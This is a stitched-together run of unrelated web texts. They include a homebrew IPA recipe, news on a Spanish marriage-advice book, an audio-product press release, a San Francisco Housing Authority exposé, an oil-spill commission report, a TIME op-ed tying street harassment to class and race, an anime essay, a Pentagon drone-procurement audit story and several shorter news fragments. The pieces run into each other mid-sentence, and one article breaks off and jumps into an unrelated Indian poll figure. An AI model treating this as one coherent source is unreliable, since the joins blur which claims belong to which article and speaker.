Added 8oz of White Wheat. I had it on hand and wanted to use it up. It should provide some additional head retention as well.
My hop additions were substantially larger. I feel the larger additions provides the juiciness i’m looking for in this style of beer.
I split my Dry Hop addition in two. The second addition being slightly larger than the first.
My water profile was slightly different. RO water treated to Ca 136 | Mg 13 | Na 0 | SO4 108 | Cl 199. Estimated pH of 5.31
Recipe Details Batch Size Boil Time IBU SRM Est. OG Est. FG ABV 6.1 gal 60 min 40.3 IBUs 5.9 SRM 1.064 1.014 6.5 % Fermentables Name Amount % Pale Ale Malt, Northwestern (Great Western) 11 lbs 78.57 Oats, Flaked 2.5 lbs 17.86 Wheat Malt, White (Rahr) 8 oz 3.57 Hops Name Amount Time Use Form Alpha % Nugget 0.8 oz 60 min First Wort Pellet 13.5 Medusa 3 oz 5 min Boil Pellet 4.5 Medusa 3 oz 20 min Steep/Whirlpool Pellet 4.5 Medusa 3 oz 7 days Dry Hop Pellet 4.5 Medusa 4 oz 3 days Dry Hop Pellet 4.5 Yeast Name Lab Attenuation Temperature London Ale III (1318) Wyeast Labs 73% 64°F - 74°F Mash Step Temperature Time Mash In 150°F 60 min Notes Steep/Whirlpool for 20min at 175F. Adjust water profile to Ca 136 | Mg 13 | Na 0 | SO4 108 | Cl 199
Brew Day/Fermentation
As per usual the brew day with the Grainfather was largely uneventful.
I started by preparing my mash and sparge water. The RO water is treated with Gypsum, Calcium Chloride and Epsom Salts in order to reach the desired profile mentioned above. I was shooting for 200:100 Chloride to Sulfate with a mash pH of 5.31.
Next, I mashed in when the Grainfather notified me via the Connect App that it had reached the appropriate temperature. After 60 minutes, I sparged with the treated water and moved onto the boil. One thing I did notice with this large amount of flaked oats in the mash, the sparge took nearly an hour and a half. Rice Hulls or a quick Protein rest in the 113°F-138°F range should help the sparge next time.
The boil was pretty straight forward as well. I added a small first wort charge of Nugget after the sparge was completed. I then added a Whorfloc and Yeast Nutrient with 15 minutes left in the boil. With 5 minutes left in the boil a hefty amount of Medusa was added.
Once the boil was finished, I chilled the wort down to 175°F and tossed in another large charge of Medusa™ and continued to whirlpool for 20 minutes. Once the whirlpool was completed the wort was chilled down to 66°F and sent into a fermenter.
Surprisingly, I nailed my OG. I had been having some problems with larger grain bills on the grainfather, so I was a bit surprised when the refractometer registered 1.064. However, my volume was off. I only had around 5.5 gallons of wort and knowing how large of a dry hop I was going to be adding, I decide to take the OG hit and top up the missing half gallon with untreated RO water. This brought my OG down to 1.060.
The wort was then aerated with pure O2 for 60 seconds and a pack of London Ale III (1318) was pitched around 66°F. The fermenter was moved to the basement to ferment with an ambient temperature of 66°F.
Fermentation took off and hit high krausen just 24hrs later. The first dry hop charge was added shortly after high krausen, around 48hrs after fermentation started. The second dry hop charge was added 96hrs after the first. Lastly the beer was kegged on 4/10, 10 days after brew day and carbonated. FG was 1.014, 6% ABV.
Tasting Notes
Today is May 1st and I’ve been drinking this beer since about April 13th. (I know, 3 days after kegging) As per usual, the notes below will be based on the glass i’m drinking right now, on May 1st.
Appearance: Pours a hazy orange with a frothy 3/4″ off white head. Head settles to a solid 1/8″ off white film. Plenty of lacing is present as the head settles.
Aroma: Tons and tons of Guava and Apricot.
Flavor: Follows the nose. Huge amounts of juicy guava, apricot and other tropical fruits. Medium to low bitterness.
Mouthfeel: Medium body, medium to low carbonation. Soft and silky smooth.
Overall: it’s a fantastic beer. The hop reminds me a lot of the other neomexicanus hop I’ve brewed with, HBC 438. I get nothing but pure guava and various other tropical fruits.
Other Notes
In the short few weeks this beer has been on tap, I’ve consumed tons of it. I absolutely love this beer and this hop. I think my transferring methods could use some work as the beer was much brighter and more intense the first week or so. I recently found out, that since the hop has a super high myrcene content it would likely do better with a lower whirlpool temperature (147°F or lower). This would also aid in keeping those volatile oil’s intact. The one thing I’ve read about this hop and other neomexicanus hops in general is their dankness. I get zero dankness from this hop.
I did send a growler of this to my professional brewer friend and his comment was that it was “Very strawberry forward”. I didn’t get strawberry, but everyone’s pallet is different. He also mentioned, he enjoyed the beer but wasn’t as in love with the hop.
Another friend, who was lucky enough to try the other neomexicanus beer I brewed stopped by to tasted this one. He mentioned it was similar, but different. My assumption was that was due to the same grist being used for both beers. He enjoyed it, but as per usual, was more intrigued with my Dorado XPA.
At the end of the day. The only thing I can think to change, If anything, try a lower whirlpool temperature or split the whirlpool additions in two and do two separate additions. One addition at 172°F and the second at the lower 147°F. Sadly, who knows when i’ll get to try this again. The hops seem to be sold out, yet again.
Thanks for reading, Prost!A book advising newly-wed women on how to be "submissive" has become a publishing phenomenon in Spain while outraging feminists who have called for it to be banned.
The polemic book by married Italian author Costanza Miriano titled 'Cásate y sé sumisa – Get Married and Be Submissive – was published by the Catholic Arbishopric of the southern city of Granada in November and soared up the bestseller list.
The book, which was a bestseller in Italy, preaches a message of "loyal obedience, generosity and submission" on the part of the new wife and offers nuggets of advice for the newly-wed on how to please one's husband.
The book currently appears at number 15 on the Amazon bestseller list in Spain but has raised the hackles of modern-minded Senoras who even staged a public demonstration against the tome, where they tore up copies.
Women's groups are considering legal action to get it banned arguing that it promotes gender violence.
One passage suggests: "We [women] like humiliation because it is for a greater good."
The author claims the book is based on the teachings of St Paul and that a perfect wife should be submissive.
"It's true, you're not yet an experienced cook or a perfect housewife," she writes. "What's the problem if he tells you so? Tell him that he is right, that it's true, that you will learn. On seeing your sweetness and your humility, your effort to change, this will also change him.
READ: I'm not signing up to be a Stepford Wife
Granada's Archbishop Francisco Javier Martinez, who chose to publish the book has defended its content and insists that the furore surrounding it is "ridiculous and hypocritical" in a society that allows abortion, which he argues is a much clearer example of violence against women.A New Class of Audio Control: Dynamic Re-Tuning of Concert Pitch
October 6, 2017, Denver, CO. Today at RMAF, Schiit Audio previewed The Gadget, the first of a new class of "Music Signal Processors," intended to enhance the experience of recorded music. The Gadget dynamically re-tunes music to C=256Hz without altering tempo, and allows the user to change the re-tuning frequency and A/B the result. The result, many listeners report, is greater satisfaction with their recorded music.
"The Gadget has been described as a 'digital joint,' an 'aaaahhh box,' and a'music immersion processor,'" said Mike Moffat, Schiit's Co-Founder and head of digital development. "Many listeners want to listen longer, and enjoy listening more, with The Gadget."
The Gadget is the first product of a years-long research project into tuning and subjective effects, Schiit's "Manhattan Project." This research began when Mike Moffat began wondering why some older instruments—specifically banjos and mandolins—sounded better than their newer counterparts. This led to the discovery of “tap tuning,” and the increase in tuning frequency over time. After primitive pitch- and tempo-shifting versions were first developed in Summer 2015, Mike brought on a full-time Ph.D to develop new, proprietary, high-quality and efficient algorithms for pure pitch-shifting. "This is not about mumbo-jumbo, mysticism, or conspiracy theories," said Mike Moffat. "The Gadget uses a 100% proprietary algorithm implemented on an Analog Devices SHARC processor, and it's unlike anything that's ever been offered before." Unlike some recent attempts to improve recorded music, The Gadget is 100% single-sided and does not require any encoding or decoding. It does not incorporate DRM of any form, including phone-homes, selective degradation, or device serialization and deauthorization. It does not require licensing fees from recording studios, artists, or end-users.
The Gadget being previewed at RMAF is a single-purpose, digital-in and digital-out device. Commercially available versions with multiple inputs are expected to be available in Q1 2018 at a cost of about $200.
About Schiit Audio
Founded in June 2010 by Jason Stoddard and Mike Moffat, Schiit has grown into a leader in affordable high-end audio, with a wide range of products spanning DACs, preamps, power amps, and headphone amplifiers from $49 to $2299.S.F. housing chief hit by more claims 2nd lawsuit, new reports of startling behavior arise
A group of Henry Alvarez's employees took their concerns to City Hall last spring. A group of Henry Alvarez's employees took their concerns to City Hall last spring. Photo: Rose Dennis, San Francisco Housing Authority Photo: Rose Dennis, San Francisco Housing Authority Image 1 of / 1 Caption Close S.F. housing chief hit by more claims 1 / 1 Back to Gallery
Several members of Mayor Ed Lee's top staff have known for months about a host of complaints by workers at the San Francisco Housing Authority regarding their boss, Henry Alvarez - despite Lee's claim that he didn't know there was a pattern of alleged inappropriate and illegal behavior by his handpicked chief.
Meanwhile, a second lawyer for the Housing Authority has filed a lawsuit against Alvarez, the agency's director, for stripping him of his responsibilities after the lawyer took a two-week paternity leave.
And several other employees at the agency contacted The Chronicle to share their own experiences of mistreatment by Alvarez after Sunday's article focusing on a lawsuit filed against him by an agency lawyer detailing racist language and an effort to get the lawyer fired.
A group of a few dozen Housing Authority employees first took its concerns about Alvarez to the mayor's office in the spring.
The concerns included general intimidation by Alvarez as well as more specific complaints about how long it took to make repairs in units, including up to three weeks to unblock a toilet and six months to prepare vacant units for new tenants, because of cuts in staffing and the lack of a central system for tracking repair requests.
They met May 1 with Bevan Dufty - the mayor's director of Housing Opportunity, Partnerships and Engagement - and had a few more subsequent meetings. Dufty said he relayed their concerns to Alvarez, city administrator Naomi Kelly and the mayor's chief of staff, Steve Kawa.
Alvarez then agreed to hold office hours.
Dual lawsuits
In October, two agency lawyers - Tim Larsen and Roger Crawford - took their own complaints to Dufty. Both men have since filed lawsuits against the agency and Alvarez.
Larsen, who is white, said Alvarez, who is African American, told him to "stop being so Anglo" and that he "did not have enough kink in his hair." According to the suit, Alvarez passed over Larsen for promotions and tried to fire him after getting wind of Larsen's complaints to the mayor's office.
Crawford filed a separate suit late last month, alleging that Alvarez violated the Family Medical Leave Act and the California Family Rights Act by retaliating against him after he took a family leave in February 2011 and a two-week paternity leave in May 2012. The length and reason for Crawford's first leave are unclear from his claim.
During both leaves, Crawford learned that Alvarez was telling other employees that he'd better "hurry up and return, otherwise he would be subject to a demotion," according to the suit.
When Crawford returned from paternity leave, Alvarez told him he was relieved of many of his duties, stopped talking to him and tried to fire him, the suit says.
A phone call to Crawford's lawyer was not returned. Rose Dennis, a spokeswoman for the Housing Authority, said, "We can't comment on a pending personnel matter."
Dufty said the allegations from Larsen and Crawford prompted an investigation by Micki Callahan, the city's director of human resources, which is ongoing.
Surprise to the mayor
But when The Chronicle asked him last week about the issue, the mayor said he was "surprised to hear there are lawsuits pending" and that he was unaware of repeated complaints about Alvarez's bullying.
"I don't get into personnel matters," Lee said.
As city administrator, in 2008 Lee selected Alvarez to head the Housing Authority despite media reports of similar behavior at his post directing the San Antonio Housing Authority in Texas.
On Monday, as Lee was leaving Twitter headquarters, he said he was too busy to answer questions about Alvarez. Lee then stopped to sign autographs and pose for photographs with passers-by on the sidewalk outside.
The Chronicle learned that Lee officiated at Alvarez's recent wedding.
Christine Falvey, Lee's spokeswoman, said their friendship would "absolutely not" play into the mayor's decision over whether to keep Alvarez in his post.
Asked how the mayor could not have known about the two lawsuits and myriad complaints against Alvarez, Falvey said, "He's not going to prejudge anything that's currently under investigation."
Alvarez's contract expires in June; he currently makes $210,500 a year. Asked whether Alvarez was likely to remain in his post through June, Falvey said, "I have no information that anything other than that would happen."
Workers' complaints
Renita Mason, a property manager at the Alemany and Holly Court public housing developments in Bernal Heights, has worked at the Housing Authority for 20 years. She said she participated in the meetings with Dufty because the agency's maintenance staff doesn't have the manpower or tools to properly deal with residents' complaints.
She said Alvarez had appointed one plumber to do work at five major housing developments, which among them contain more than 1,000 units.
When Alvarez found out she had been at the meeting with Dufty, he called her into agency headquarters, demanding to know the names of everyone who had attended the meeting, she said.
She said she told him that the employees had used their lunch break for the meeting and that she didn't have to tell him who participated. He then visited her office at the Alemany development eight times over the next two weeks, telling her she didn't know how to do her job and demanding that she remove federally mandated posters on the wall that tell tenants how to make complaints, she said.
Alvarez told her, "Take that stuff down - it looks ugly in your office," she said.
Dennis said she had no comment on Mason's account.
She did dispute that it takes six months to rehab a unit. Dennis said it only takes a few weeks to rehab smaller units, though larger ones can take longer.
She said Alvarez has improved the unit occupancy rate from 93 percent |
2009.The CSDS poll also suggested that BJP's decision to project Modi as its PM candidate has paid off. In UP 35% backed him as their preference for the top job, while in Rajasthan 27% of the BJP supporters gave him the credit for party's massive win in the assembly elections. As against this, 12% identified CM Vasundhara Raje as the main factor.Even in Delhi the 2% gap that separates him from Kejriwal can provide comfort to BJP, considering that the party's support stands at 30% in the city-state.No oil experts on Obama spill panel, GOP complains GOP: Obama's panel is biased
Critics contend spill inquiry panel has no oil experts, only drilling foes
Sen. John Barrasso, R-Wyo., charged the Obama administration with keeping oil and gas drilling experts off its seven-member commission in favor of people who philosophically oppose offshore exploration.
And Sen. Robert Bennett, R-Utah, said there was a huge conflict of interest in putting environmental advocates on a panel responsible for investigating the spill and recommending new safety mandates for offshore drilling.
Obama launched the commission last month and tasked it with conducting a six-month probe of the Deepwater Horizon disaster and a rigorous review of drilling safety. Its findings could dictate the future of offshore drilling and lead to major changes in the way the government polices oil and gas production along the nation's coasts.
Scientists, engineers
The roster of members includes science and engineering experts, as well as a renewable energy advocate who has complained about America's oil addiction and a marine science professor who recently appeared to endorse a delay of planned drilling along the East Coast.
There are no representatives with deep ties to the oil and gas industry, although one of the co-chairmen, William Reilly, was administrator of the EPA under President George H.W. Bush and a director of ConocoPhillips before temporarily stepping down to serve on the commission.
The other co-chairman is Bob Graham, a Democratic former Florida governor and U.S. senator who has opposed offshore drilling near the Sunshine State.
The panel's just-appointed executive director, Richard Lazarus, is a legal expert at Georgetown University who has represented environmental groups in arguments before the Supreme Court.
The commission's makeup already has drawn criticism from oil and gas industry boosters and in some newspaper editorials.
In a Senate Energy and Natural Resources Committee hearing Thursday, Interior Secretary Ken Salazar defended the commission's members, saying they were "very distinguished people... who will transcend partisan politics and ideology" in investigating what caused the Deepwater Horizon rig to explode April 20.
Barrasso and Bennett targeted Frances Beinecke, president of the Natural Resources Defense Council, one of several environmental groups that unsuccessfully defended the Obama administration's deep-water drilling ban against a legal challenge in a court hearing Monday.
Bennett called Beinecke's appointment troubling because she "has an ideological position with respect to drilling and, indeed, heads an organization that's filed a lawsuit on this area."
In a blog entry on NRDC's website Thursday, the group's New York City-based litigation director, Mitch Bernard, defended Beinecke as an independent and said she had been excluded from all decision making and communications about the council's legal work since her appointment.
Barrasso said the panel's makeup defied Obama's assertion that he wants an independent review of the oil spill.
"The commission's background and expertise doesn't really include an oil or drilling expert, so … people across the country are wondering about the administration's goals," Barrasso said. "Is it really about making offshore energy exploration safer? Or is it about shutting down our offshore and American oil and gas?"
Promises fairness
Salazar dismissed the senators' criticism.
"What is wrong is the playing of politics with this issue," Salazar said. "This is an issue of a national crisis."
Salazar likened the group to the commissions that have investigated other disasters, including the explosion of the Challenger space shuttle and the partial meltdown of the Three Mile Island nuclear power plant.
The panel members are elder statesmen and stateswomen, Salazar said, adding that he was confident the commission would be thorough and even-handed. When studying areas where it doesn't have expertise, he said, the panel will interview professionals who do.
jennifer.dlouhy@chron.comPolice in Wildwood, New Jersey have opened an investigation after an officer was involved in an incident that was caught on camera.Video of the incident appears to show a Wildwood police officer punch a man in the face. The question is: was it justified?It happened this past Sunday evening near the intersection of New Jersey Avenue and Roberts Avenue.In the video, the Wildwood police officer and a man appear to be having some kind of confrontation.The man is not cuffed, his hands are free. Then for a reason unknown at this point, the officer strikes the man in the face.Action News spoke with the Wildwood police chief on Tuesday. He says that the man who was punched was involved in a disorderly persons complaint.He also tells us the officer involved will not be named at this point, nor will the man who was hit.The chief did say that the officer involved in the incident will remain on duty while the investigation is ongoing.The investigation is being conducted by the Cape May County Prosecutor's Office.----------(Reuters) - Western Digital Corp (WDC.O), the world’s largest storage-drive maker, cut its current-quarter revenue forecast as demand for hard disk drives (HDD) was muted, sending down its shares as much as 3 percent in after-hours trading.
Western Digital, which along with Seagate Technology Plc (STX.O) commands over 90 percent of the HDD market, said it expects industry demand of 140 million hard drives in the September quarter, down from its earlier forecast of 157 million units.
Shares of both companies fell 3 percent in extended trading.
Western Digital said its board of directors has given the go ahead for an additional $1.5 billion share buyback.
The company also said it will start a quarterly dividend of 25 cents per share payable on October 15.
Western Digital expects revenue of $3.9 billion to $4.0 billion for its first quarter ending September 28, down from its prior forecast of $4.2 billion to $4.3 billion.
Analysts on average were expecting revenue of $4.29 billion, according to Thomson Reuters I/B/E/S.
The company expects adjusted gross margin of about 30 percent in its first quarter.IDEAS Kay S. Hymowitz is the William E. Simon Fellow at the Manhattan Institute and a contributing editor of City Journal. She is the author of four books, including Marriage and Caste in America: Separate and Unequal Families in a Post-Marital Age and Manning Up: How the Rise of Women Is Turning Men Into Boys.
Americans would rather talk about almost anything other than class. Even today as income inequality and racial and gender disparities dominate the headlines, even among the tell-all Millennials, class is quarantined from the arena of respectable conversation.
The latest example of this stubborn truism emerged after a video showing the catcalling torment young women face on city streets was posted on YouTube. Many viewers noticed that in the two-minute video by the activist group Hollaback!, condensed from a single woman’s 10 hour walk around New York City, all of the offending men were black and Hispanic. They chastised the creators for creating the appearance that white men don’t do this sort of thing, which led ultimately to an apology from Rob Bliss the video producer.
To say that Bliss was being disingenuous is putting it mildly. In a little noticed item on the website of the alternative magazine Mass Appeal Chris Moore did a little sleuthing and found that more than half of the shots used in the film appeared to be shot on 125th Street in Harlem, a predominately poor, black neighborhood. Much of the rest were shot near Times Square and Canal Street, neither area what anyone would call genteel. You have to give Bliss this much credit: He knew what he and very few other people are willing to admit. Street harassment is largely a class thing. In New York, at any rate, that means it’s also a race thing.
Now before anyone tweets about the pasty skinned guys from Morgan Stanley who whisper nasty somethings in her ear when she’s on line at the Financial District Starbucks, let’s get the obvious on the table: Street harassers can come in all colors and sport all kinds of pedigrees. Without a doubt, there are white guys in Brooks Brothers or Zegna who will ruin a girl’s morning with an unwelcome suggestion for where on her body he would like to deposit his bodily fluids.
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Still. These bespoke brutes may not be a rare breed, but they’re just not common enough to spoil a good 10 hour walk along the Upper East Side. Young women who tense up as they approach a construction site know full well that walking past the guys who drive the fork lift will almost surely result in some unwanted attention; walking past the architects who are pouring over the blueprints probably won’t.
The catcalling gap will make sense to anyone who has noticed that middle class men and women tend to have a different physical and sexual presentation than their less privileged peers. Psychologists have long known that there are marked class differences in child rearing that can explain this. Preparing their children for office and stable domestic life, middle class parents have always nudged their children to display what was once known as “bourgeois propriety.” The term doesn’t seem to fit an America where, as the “Advice Goddess” Amy Alkon has said, even “nice people say f–k.” But middle class homes continue to encourage their children to use their “inside voices,” to demonstrate bodily self-discipline (one reason obesity has become a class marker), to play nice, and to soften the rough edges of male physicality. They ban toy guns from their homes and petition schools to prohibit dodgeball and other “human target” games.
Lower income parents tend to be less “proper” in their childrearing, dispensing more physical punishment and shrugging off rough and tumble play. The difference shows up in school where lower income kids, particularly boys, have more trouble sitting still, paying attention, and keeping quiet; educators consistently report they have more behavior problems. It should come as no surprise that these same boys grow up to become men who are more blatantly, and for middle class women especially, more obnoxiously, interested in every passing young thing. In rare but important instances this goes well beyond obnoxious; lower income men (and women) are also more likely than middle class to be involved in domestic violence disputes.
The catcalling gap creates some cognitive dissonance for promoters of the idea of “white male privilege.” If men of color and working class dudes are the biggest offenders, then middle class (mostly white) are the good — or at least the less bad — guys. Middle class men may no longer open doors for women or help them carry heavy suitcases, but most of them would be mortified to hear a friend shout “Hey baby; shake that thing!” to passing strangers as they rush to take their poli-sci class or make their 10 a.m. project meeting.
That raises the question of how the disproportionately white campus has become the site where so many men behave badly. That’s easy to answer. Put middle class men in a frat house with flowing kegs, and their manners melt into a boozy puddle. That’s exactly the point of the whole exercise. People —men and women — drink because it feels good to shed their inhibitions, to say the sorts of things of which their parents might not approve and do things their daytime, classroom selves may wonder at.
Ironically, then, Hollaback!’s video suggests that privilege belongs to white middle class women as much as their male classmates. For all of the myriad problems they face in a college sex scene drenched in alcohol, women students can walk the ivy paths with minimum of hassle (unless they pass by the guys building the new student center with yoga studio and state of the art fitness center). When they move to a chaotic, multicultural city, however, especially if they venture into Harlem and Times Square, they find themselves bumping up against all types — blue collar and poor men, immigrants and children of immigrants, men whose parents may not have raised them to treat women with the sort of restraint their own brothers and fathers do. And they don’t like it one bit.
Even Rob Bliss — especially Rob Bliss! — has to know there’s not much anyone can do about it. Unless they’re willing to see a lot more minority men hassled by the police.
Kay S. Hymowitz is the William E. Simon Fellow at the Manhattan Institute and a contributing editor of City Journal. She is the author of four books, including Marriage and Caste in America: Separate and Unequal Families in a Post-Marital Age and Manning Up: How the Rise of Women Is Turning Men Into Boys.
Contact us at editors@time.com.There's just something about heroes.
Soaring through the sky or charging across the earth, brows furrowed, ready for action. Halting the spread of evil, or simply offering assistance where they can. Pursuing an ideal of justice, carrying the hopes of the people on their back. Aspiring to something greater, something simultaneously deeply human and beyond our unsteady hands.
My Hero Academia absolutely loves heroes. It loves their spirit, it loves their style, it loves their grounded reality and their highest ambitions. Its protagonist Midoriya has idolized heroes from a young age, and the show shares his enthusiasm. In a world where superheroes aren't just government-sanctioned and regulated, but also commercialized brands, he still sees something pure and inspiring in their actions. The path to heroism may be rocky, but Midoriya never doubts the beauty of his pursuit.
The show is actually somewhat noteworthy for its positive view of heroes. In the modern world, we often challenge heroic ideals, and the motivations of the people who pursue them. In American media, the bright-eyed optimism of the silver age gave way to post-Watchmen ambiguity, and now our on-screen heroes battle their personal demons as often they do their enemies. In Japan, modern revisions of classic shows like Yatterman and Gatchaman don't just challenge unquestioned heroism, they often prioritize the hypocrisy and potential tragedy that can erupt when a hero is too certain that their justice is correct.
This spirit of self-reflection and revision is important. The world is too complicated to embrace an unchallenged sense of righteousness - there are few things more dangerous than unquestionably believing your view of right and wrong are absolutely correct. And so we need shows like Gatchaman Crowds, which question the significance of heroes in the internet age, or Concrete Revolutio, which put the coopting of heroic ideals in a clear historic context. Self-reflection is always good - but that doesn't make My Hero Academia any less great. There are reasons we love heroes; clear, important reasons, reasons that inspire us to be greater, achieve more, be more charitable and strong. In challenging the simplicity of some views of heroism, we must not abandon or forget the reasons we collectively find heroes inspiring, and the true lessons we can draw from their actions.
My Hero Academia opens with a fairly routine shounen premise. Midoriya starts out without a superpower, a “Quirkless,” but through dedication and lucky circumstance, he ends up inheriting the strength of All Might, the greatest superhero. Of course, this power doesn't just fall into his hands; as All Might says, Midoriya embodies the “heroic spirit” even before he has the strength to back it up, and his journey to earn All Might's power involves grueling training and constant exertion. So far in the anime, Midoriya's ability to use his power has been pretty suspect; he generally destroys his own body every time he employs it, and most of the time simply gets by through optimism, clever application of his hero knowledge, and a dash of luck. More than anything else, Midoriya's “power,” and the power of the heroes who fight beside him, is their confidence in their eventual ability to succeed.
This fits nicely into Shounen Jump's “friendship, training, victory” wheelhouse, but it's also a kind of optimism that digs at the nature of what makes heroes rightly inspiring. My Hero Academia's heroes aren't just egotistical powerhouses or wild-eyed dreamers - they're passionate and dedicated individuals with clear goals. They work hard, set high but achievable expectations for themselves, and consistently move towards the place they want to be. Midoriya's childhood bully Bakugo is actually noteworthy because he's the one character who doesn't embody this dedicated spirit - he's angry and unstable, and the show does not try to apologize for this. Bakugo's behavior isolates him, while in contrast, his classmates are quick to acknowledge the efforts of their peers, expressing all the maturity you'd expect from high-achieving students at an elite academy. In a world that often distrusts heroes, My Hero Academia dares to imply that these heroes-in-training are not tortured or delusional, but simply people doing exactly what they think is best in the way they feel is most effective.
Of course, if My Hero Academia's stars felt they could actually save the world themselves, they really would be unhinged dreamers. To think you can save the world requires not just a dangerous faith in your own idea of justice, but also a wild, absurd arrogance regarding the scale of your power. Heroes are single individuals - single individuals are not going to end poverty or solve systemic bigotry, regardless of how many villains they beat up. And some issues cannot be solved through force or effort whatsoever; some issues just come down to intractable differences of human priorities. No matter how hard you try, there is a limit to how much good any one individual can do.
In an era where “gritty reboots” have become common enough to be a cliche, many modern hero narratives simply end their message there, reveling in the dark contradictions of attempted heroism in a broken world. This kind of cynicism can be appealing, but it does not truly reflect either the nature of the world or the true value of heroic ideals. My Hero Academia's optimism is not simply an ignorance of these ambiguities - heroes may not be able to save the world themselves, but what heroes can do is inspire belief in a better one. My Hero Academia's stars look straight-on at the world and see a place full of violence and discord, and their response is neither “this is unfixable” nor “I can solve this.” Their response is “I can be better than this. And if I or anyone else can be better than this, than maybe we can help someone else to find that path.”
All Might articulates this directly, when he explains why Midoriya was allowed to pass the school exam. Midoriya's actions didn't conform to the challenges set before him, and ultimately almost got him killed - but through expressing the spirit of self-sacrifice and saving another, Midoriya inspired one more person to action. All Might's power “One for All” embodies this instinct - the power he uses, and the power that he passes on to My Hero Academia's protagonist, is built on many generations of new heroes being inspired by old heroes' courageous actions. We need the optimism of shows like My Hero Academia precisely because the world is a dark place. We need faith in our ability to create a better world, and it is heroes that inspire that faith.
The opposite of heroism isn't villainy - it's terrorism. Terrorism generally isn't intended to actually “defeat” an enemy - it's designed to sow fear and discord, making people lose faith in their security and respond with violent actions themselves. In contrast, great heroes know they will not themselves fix the world, but believe that their actions can inspire optimism, confidence, and self-sacrifice in others. Great heroes lift us up and help us work to embrace our own better instincts. By sacrificing of themselves, heroes are able to go beyond human frailty and become an ideal.
Why is why it's so important that My Hero Academia's heroes are, well, heroic. Not in that they are strong and have cool powers, but that they embody the tenets of classic heroism. Always putting on a strong face to inspire others, even when it's painful or they're not confident. Embracing a spirit of charity, even when it's not glamorous and won't win you fans. Demonstrating humility and grace in victory, and renewed determination in defeat.
By consciously struggling to embody these virtues, My Hero Academia's heroes become something we can actually relate to. There's an element of performance in classic heroism, something that makes them more like rock stars or pop idols than police officers. Heroes must always be strong because they must represent strength - they must be our confidence, and show us how great we can be. And that “we can be” is a bit of a sticking point - heroes can't just inspire complacency, they must inspire people to heroism themselves. My Hero Academia's stars aren't just strong - they embody a strength we believe we could make our own.
It's a form of aspirational identity you see in a lot of anime, from idol shows like Cinderella Girls to something like Madoka Magica. The work of becoming an ideal always means sacrificing of yourself, of being stronger than you think you can be. There's a tragedy in that, to the point where many would say this performative strength is not worth doing, or a lie. But belief in that “lie” is what helps us communally rise above and lift each other up. Saying things will be okay when you're not sure they will is an act of faith and compassion; becoming a symbol of that belief is the purest expression of self-sacrifice, is what being a hero truly means.From the released report.
Ask how many MQ-9 Reaper drones the US needs for pilot training, and the Air Force budget hawks charged with making that call have an exact figure at the ready: 52 unmanned aircraft, each at a sticker price north of $10 million and total operating cost upwards of $100 million over its lifetime.
But a freshly declassified October 2014 audit obtained by MuckRock via Freedom of Information request finds that the Air Force has few hard numbers to cement such seemingly precise estimates in its budget.
Two officials with the Air Combat Command, which heads up MQ-9 Reaper deployments for the Air Force, told the Defense Department inspector general that "they performed no analyses to justify the specified number of necessary training aircraft."
None.
From the released report.
Pentagon auditors struggled to divine precisely where the Air Force pulled its estimate of 52 MQ-9s required for training purposes, and found that some official documents contained "math errors" that put the number at 51, instead. The report concluded that the figure apparently had no basis in standard metrics, such as the "annual number of students to train, the number of training flights necessary to train each student, and the sustainable aircraft use rate."
Analysts were similarly puzzled to discover that the Air Combat Command "could not provide any support data" for its estimate that the Air National Guard would need 70 MQ-9 Reapers to operate across its 11 units.
Whether for actual missions or for testing and evaluation, the inspector general team found that the Air Force simply had not done its homework on how many MQ-9s it needs. When auditors requested documentation to back up inventory projections, Air Force officials "provided informal aircraft quantity determinations" and "verbally explained the basis of the planned quantity."
From the released report.
The Air Force contested the audit's findings, which were initially classified as "For Official Use Only" when announced in September, but released in full without redaction this past week in response to MuckRock's FOIA request. In a press release posted online in early October, top Air Force and Pentagon brass classified the Reaper drone as "a success story" and the audit as incomplete.
"The MQ-9 has played a vital role in combat operations and has resulted in saving American and coalition lives overseas," said Under Secretary of Defense for Intelligence Michael Vickers in the press release. "This is a capability that is in high demand."
"We're working hard to make more, as directed by the Secretary of Defense," echoed Lt. Gen. Robert Otto, Air Force deputy chief of staff for intelligence, surveillance and reconnaissance.
Image: US Air Force / Lt. Col. Leslie Pratt
Larger and more powerful than the MQ-1 Predator, per Air Force specs, the MQ-9 Reaper has a wingspan of 66 feet and a range of more than 1,000 miles without the need to refuel. The MQ-9 was introduced in 2001 as a multi-use platform—thus the "M", while the "Q" indicates that the unit is remotely piloted—outfitted to conduct intelligence missions, tactical missile strikes and "irregular warfare operations," to use military jargon.
The Reaper is also a rather expensive piece of hardware, and Pentagon watchdogs worry that cutting corners on budget paperwork risks wasting as much as $8.8 billion on aircraft the Air Force may not actually need.
In last year's budget request, the Air Force sought funds to purchase a total of 83 Reapers through 2019, including 12 over the coming year. Congress authorized more than $800 million in spending on the MQ-9 program in the National Defense Authorization Act of 2015, a bill which President Obama signed into law in mid-December.
The last by-the-book budget document that auditors could dig up for the MQ-9 was signed in January 2007. At that time, the Air Force made a detailed accounting of its need for a total of 60 units, and passed that document around for vetting by all the right people.
Since then, the Air Force officials that oversee MQ-9 procurement and planning have expanded their estimate considerably, to 401 aircraft, per the report. The Air Force rebuttal contends that the most current figure is actually 346 Reapers, but it's a substantial expansion all the same.
Standard procedure, the report chides, dictates reupping budget approval for any deviation greater than 10 percent in cost or quantity. The audit calculated a staggering cost increase of 936 percent and an inventory projection increase of 568 percent, but found no documentation to support such ballooning.
Moving forward, overseers of the Air Force drone program "non-concur" with many of the inspector general's conclusions and calculations, but have agreed to update the necessary budget documents. One such meeting was slated to take place in December, with a target date of April 2016 to complete analysis.This volume deals with the religious practices of the family in the ancient Babylonian, Syrian, and Israelite civilizations. On the basis of a wealth of documents from both the private and the literary realm, the book gives an exhaustive description and analysis of the rites of the ancestor cult and the devotion to local gods. The author demonstrates the role of these two aspects of family religion in the identity construction of its followers. The section dealing with Israel pays particular attention to the relationship between family religion and state religion. The emergence of the state religion under King Saul marked the beginning of a competition between civil and private religion. Though the two had great influence upon each other, the tension between them was never resolved. A study of their interaction proves to be a key for the understanding of the development of Israelite religion during the monarchic period.
The book is of particular importance to biblical scholars, Assyriologists, and all those interested in the history of ancient Near Eastern religion.Looking for news you can trust?
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Late last week, the DC Circuit Court of Appeals issued an injunction blocking attempts by Kansas, Alabama, and Georgia to require proof of citizenship to register to vote for the upcoming election. The order was the latest in a long-running battle between those who demand strict and often onerous requirements to casting a ballot in order to combat voter fraud, and those who consider these measures as nothing more than thinly veiled attempts to suppress minority voting.
